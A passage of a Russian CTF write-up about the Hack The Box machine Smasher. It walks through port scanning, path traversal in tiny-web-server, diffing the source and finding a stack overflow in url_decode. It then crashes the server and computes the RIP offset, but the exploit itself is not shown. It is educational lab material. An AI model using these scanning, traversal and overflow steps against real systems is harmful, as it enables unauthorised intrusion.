Взлом

В королевстве PWN. Атака ret2bss, криптооракулы и реверс-инжиниринг на виртуалке Smasher с Hack The Box


В этой статье тебя ждут: низкоуровневая эксплуатация веб-сервера со срывом стека и генерацией шелл-кода на лету с помощью древней магии pwntools; атака Padding Oracle на питоновское приложение для вскрытия шифртекста AES-CBC, а также реверс-инжиниринг исполняемого файла с атрибутом SUID для повышения привилегий в системе до локального суперпользователя.

Все это мы проделаем на пути к root-флагу виртуалки Smasher (уровень сложности Insane — 7,6 балла из 10) с CTF-площадки Hack The Box. Поскольку речь в основном пойдет о срыве стека, это будет отличным завершением для нашего цикла «В королевстве PWN».

HTB — Smasher

 

В королевстве PWN

В этом цикле статей мы изучаем разные аспекты атак типа «переполнение стека». Читай также:

  • «Препарируем классику переполнения буфера в современных условиях»
  • «Обходим DEP и брутфорсим ASLR на виртуалке с Hack The Box»
  • «ROP-цепочки и атака Return-to-PLT в CTF Bitterman»

 

Разведка

 

Сканирование портов

Я продолжаю извращаться с методами обнаружения открытых портов, и в этот раз будем пользоваться связкой из Masscan и Nmap. Masscan, к слову, на сегодняшний день самый быстрый из асинхронных сканеров портов. Ко всему прочему он опирается на собственное видение стека TCP/IP и, по словам разработчика, может просканировать весь интернет за шесть минут с одного хоста.

[email protected]:~# masscan –rate=1000 -e tun0 -p1-65535,U:1-65535 10.10.10.89 > ports

Первой командой я инициирую сканирование всего диапазона портов (в том числе UDP) IP-адреса, по которому живет Smasher, и перенаправляю результат в текстовый файл.

[email protected]:~# ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "n" ',' | sed 's/,$//'`
[email protected]:~# nmap -n -Pn -sV -sC -oA nmap/smasher -p$ports 10.10.10.89

Далее с помощью стандартных средств текстового процессинга в Linux обрабатываю результаты скана, чтобы найденные порты хранились одной строкой через запятую, сохраняю эту строку в переменной ports и спускаю с поводка Nmap.

Сканирование портов ВМ Smasher

По мнению Nmap, мы имеем дело с Ubuntu 16.04 (Xenial). Оно основано на информации о баннере SSH. Постучаться же можно в порты 22 и 1111. На последнем, кстати, висит некий shenfeng tiny-web-server — вот его мы и отправимся исследовать в первую очередь.

 

Веб — порт 1111

Браузер

По адресу http://10.10.10.89:1111/ тебя встретит листинг корневой директории веб-сервера.

Листинг корневой директории веб-сервера

Интересно, что страница index.html существует, но редиректа на нее нет — вместо этого открывается список файлов каталога. Запомним это.

Форма авторизации /index.html

Если мы перейдем на /index.html вручную, то увидим заглушку для формы авторизации, с которой никак нельзя взаимодействовать (можно печатать в полях ввода, но кнопка Login не работает). Забавно, что оба поля для ввода называются input.email.

Наименования полей формы авторизации
A tiny web server in C

Если поискать shenfeng tiny-web-server в Сети, по первой же ссылке в выдаче результатов можно найти репозиторий проекта на GitHub.

Сразу же бросаются в глаза предупреждения, что код небезопасен: первое в самом описании сервера (как единственная его «антифича»), второе — в открытых issues.

Проблема безопасности tiny-web-server (Path Traversal)

Если верить описанию, то tiny-web-server подвержен Path Traversal, а возможность просматривать листинги директорий как будто шепчет тебе на ухо: «Так оно и есть…»

 

Анализ tiny-web-server

Проверим выполнимость Path Traversal. Так как Firefox любит исправлять синтаксически некорректные конструкции в адресной строке (в частности, резать префиксы вида ../../../), то я сделаю это с помощью nc, как показано в issue.

PoC уязвимости выхода за корневую директорию веб-сервера

Что и требовалось доказать — у нас есть возможность читать файлы на сервере!

Что дальше? Осмотримся. Если дублировать первичный слеш для доступа к каталогам, сервер подумает, что таким образом мы обращаемся к корневой директории, — и разведку можно будет провести прямо из браузера.

Содержимое /home

В /home нам доступна всего одна директория — /www.

Содержимое /home/www

Из интересного здесь — скрипт restart.sh для перезапуска инстанса процесса сервера, а также сама директория с проектом.

#!/usr/bin/env bash

## Please don’t edit this file let others players have fun

cd /home/www/tiny-web-server/
ps aux | grep tiny | awk '{print $2}' | xargs kill -9
nohup ./tiny public_html/ 1111 2>&1 > /dev/null &

Содержимое /home/www/tiny-web-server

Чтобы не мучиться с загрузкой каждого файла по отдельности, я клонирую директорию /home/www целиком с помощью wget, исключив каталог .git, — различия в коде веб-сервера по сравнению с GitHub-версией мы узнаем чуть позже другим способом.

[email protected]:~# wget –mirror -X home/www/tiny-web-server/.git http://10.10.10.89:1111//home/www/

Клонирование /home/www с помощью wget

Три файла представляют для нас интерес: Makefile, tiny и tiny.c.

Листинг локальной копии /home/www

В Makefile содержатся инструкции для сборки исполняемого файла.

CC = c99
CFLAGS = -Wall -O2

## LIB = -lpthread

all: tiny

tiny: tiny.c
    $(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)

clean:
    rm -f *.o tiny *~

Флаги -g -fno-stack-protector -z execstack намекают нам на предполагаемый «по сюжету» вектор атаки — срыв стека, который, надеюсь, уже успел тебе полюбиться.

Файл tiny — сам бинарник, который развернут на Smasher.

Сводка безопасности исполняемого файла tiny (checksec)

У нас есть исполняемый стек, сегменты с возможностью записи и исполнения произвольных данных и активный механизм FORTIFY — последний, правда, ни на что не повлияет в нашей ситуации (подробнее о нем можно прочесть в первой части цикла, где мы разбирали вывод checksec). Плюс нужно помнить, что на целевом хосте, скорее всего, активен механизм рандомизации адресного пространства ASLR.

Прежде чем перейти непосредственно к сплоитингу, посмотрим, изменил ли как-нибудь автор машины исходный код tiny.c (сам файл я положу к себе на гитхаб, чтобы не загромождать тело статьи).

 

Изменения в исходном коде tiny.c

Если нужно построчно сравнить текстовые файлы, я предпочитаю расширение DiffTabs для Sublime Text, где — в отличие от дефолтного diff — есть подсветка синтаксиса. Однако, если ты привык работать исключительно из командной строки, colordiff станет удобной альтернативой.

Выдернем последнюю версию tiny.c с гитхаба (будем звать ее tiny-github.c) и сравним с тем исходником, который мы захватили на Smasher.

[email protected]:~# wget -qO tiny1-github.c https://raw.githubusercontent.com/shenfeng/tiny-web-server/master/tiny.c
[email protected]:~# colordiff tiny-github.c tiny.c

166c166
<     sprintf(buf, "HTTP/1.1 200 OKrn%s%s%s%s%s",
---
>     sprintf(buf, "HTTP/1.1 200 OKrnServer: shenfeng tiny-web-serverrn%s%s%s%s%s",
233a234,236
>     int reuse = 1;
>     if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const char*)&reuse, sizeof(reuse)) < 0)
>         perror("setsockopt(SO_REUSEADDR) failed");
234a238,239
>     if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&reuse, sizeof(reuse)) < 0)
>         perror("setsockopt(SO_REUSEPORT) failed");
309c314
<     sprintf(buf, "HTTP/1.1 %d %srn", status, msg);
---
>     sprintf(buf, "HTTP/1.1 %d %srnServer: shenfeng tiny-web-serverrn", status, msg);
320c325
<         sprintf(buf, "HTTP/1.1 206 Partialrn");
---
>         sprintf(buf, "HTTP/1.1 206 PartialrnServer: shenfeng tiny-web-serverrn");
346c351,355
< void process(int fd, struct sockaddr_in *clientaddr){
---
> int process(int fd, struct sockaddr_in *clientaddr){
>     int pid = fork();
>     if(pid==0){
>     if(fd < 0)
>       return 1;
377a387,389
>     return 1;
>   }
> return 0;
407a420
>     int copy_listen_fd = listenfd;
417,420c430
<
<     for(int i = 0; i < 10; i++) {
<         int pid = fork();
<         if (pid == 0) {         //  child
---
>     signal(SIGCHLD, SIG_IGN);
421a432
>
423c434,437
<                 process(connfd, &clientaddr);
---
>               if(connfd > -1)  {
>                 int res = process(connfd, &clientaddr);
>               if(res == 1)
>                       exit(0);
424a439,440
>               }
>
426,437d441
<         } else if (pid > 0) {   //  parent
<             printf("child pid is %dn", pid);
<         } else {
<             perror("fork");
<         }
<     }
<
<     while(1){
<         connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
<         process(connfd, &clientaddr);
<         close(connfd);
<     }
438a443
>

Незначительные изменения:

  • добавлена обработка ошибок (233a234, 234a238);
  • в строчках баннеров веб-сервера появилось имя разработчика, что облегчает атакующему идентификацию ПО на этапе сканирования хоста (166c166, 320c325).

Важные изменения: модифицирована логика обработки запросов клиента (все, что касается функции process и создания форков). Если в tiny-github.c реализована многопоточность с помощью концепции PreFork, когда мастер-процесс спавнит дочерние в цикле от 0 до 9, то в tiny.c родитель форкается только один раз — и уже не в теле main, а в самой функции process. Полагаю, это было сделано, чтобы ослабить нагрузку на сервер — ведь ВМ атакует множество людей одновременно. Ну а нам это только на руку, потому что дебажить многопоточные приложения — то еще удовольствие.

 

Найти уязвимую строку

На одной из моих вузовских практик преподаватель поставил такую задачу: без доступа в Сеть с точностью до строки найти в исходном коде пакета OpenSSL место, ответственное за нашумевшую уязвимость Heartbleed (CVE-2014-0160). Разумеется, в большинстве случаев нельзя однозначно обвинить во всех бедах одну-единственную строку, но всегда можно (и нужно) выделить для себя место в коде, от которого ты будешь отталкиваться при атаке.

Найдем такую строку в tiny.c. В формате статьи трудно анализировать исходные коды без нагромождения повторяющейся информации — поэтому я представлю анализ в виде цепочки «прыжков» по функциям (начиная от main и заканчивая уязвимостью), а ты потом сам проследишь этот путь в своем редакторе.

main() { int res = process(connfd, &clientaddr); } ==> process() { parse_request(fd, &req); } ==> parse_request() { url_decode(filename, req->filename, MAXLINE); }

Функция url_decode принимает три аргумента: два массива строк (источник — filename и назначение — req->filename) и количество копируемых байтов из первого массива во второй. В нашем случае это константа MAXLINE, равная 1024.

void url_decode(char* src, char* dest, int max) {
    char *p = src;
    char code[3] = { 0 };
    while(*p && --max) {
        if(*p == '%') {
            memcpy(code, ++p, 2);
            *dest++ = (char)strtoul(code, NULL, 16);
            p += 2;
        } else {
            *dest++ = *p++;
        }
    }
    *dest = '';
}

Алгоритм функции тривиален. Клиент запрашивает у сервера файл. Если строка с именем этого файла содержит данные в Percent-encoding (их можно определить по символу %), функция выполняет декодирование и помещает соответствующий байт в массив назначения. В противном случае происходит простое побайтовое копирование. Однако проблема в том, что локальный массив filename имеет размер MAXLINE (то есть 1024 байт), а вот поле req->filename структуры http_request располагает лишь 512 байтами.

typedef struct {
    char filename[512];
    off_t offset;              /* for support Range */
    size_t end;
} http_request;

Налицо классический Out-of-bounds Write (CWE-787: запись за пределы доступной памяти) — он и делает возможным срыв стека.

В эпилоге мы посмотрим на анализ трассировки этого кода, а пока подумаем, как можно использовать уязвимое место tiny.c.

 

Разработка эксплоита

Сперва насладимся моментом, когда сервер tiny крашится. Так как с ошибкой сегментации упадет дочерний процесс программы, привычного алерта Segmentation fault в окне терминала мы не увидим. Чтобы убедиться, что процесс отработал некорректно и завершился сегфолтом, я открою журнал сообщений ядра dmesg (с флагом -w) и запрошу у сервера (несуществующий) файл с именем из тысячи букв A.

[email protected]:~# ./tiny 1111
[email protected]:~# dmesg -w
[email protected]:~# curl localhost:1111/$(python -c ‘print “A”*1000’)

Подтверждение ошибки сегментации процесса tiny

Класс: видим, что запрос выбивает child-процесс c general protection fault (или segmentation fault в нашем случае).

Поиск точки перезаписи RIP

Запустим исполняемый файл сервера в отладчике GDB.

[email protected]:~# gdb-peda ./tiny
Reading symbols from ./tiny...
gdb-peda$ r 1111
Starting program: /root/htb/boxes/smasher/tiny 1111
listen on port 1111, fd is 3

Теперь важный момент: я не могу пользоваться циклическим паттерном де Брёйна, который предлагает PEDA, ведь он содержит символы '%' — а они, если помнишь, трактуются сервером как начало URL-кодировки.

Циклическая последовательность, сгенерированная при помощи GDB PEDA

Значит, нам нужен другой генератор. Можно пользоваться msf-pattern_create -l <N> и msf-pattern_offset -q <0xFFFF>, чтобы создать последовательность нужной длины и найти смещение. Однако я предпочитаю модуль pwntools, который работает в разы быстрее.

Циклические последовательности, сгенерированные при помощи MSF и pwntools

Как мы видим, ни один из инструментов не использует «плохие» символы, поэтому для генерации вредоносного URL можно юзать любой из них.

[email protected]:~# curl localhost:1111/$(python -c ‘import pwn; print pwn.cyclic(1000)’)
File not found

Мы отправили запрос на открытие несуществующей страницы при помощи curl — а теперь смотрим, какое значение осело в регистре RSP, и рассчитываем величину смещения до RIP.

gdb-peda$ x/xw $rsp
0x7fffffffdf48: 0x66616172
[email protected]:~# python -c ‘from pwn import *; print cyclic_find(unhex(“66616172”)[::-1])’
568

Ответ: 568.

После выхода из отладчика хорошо бы принудительно убить все инстансы веб-сервера — ведь однозначно завершился только child-процесс.

[email protected]:~# ps aux | grep tiny | awk ‘{print $2}’ | xargs kill -9

Источник: xakep.ru

Оставить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *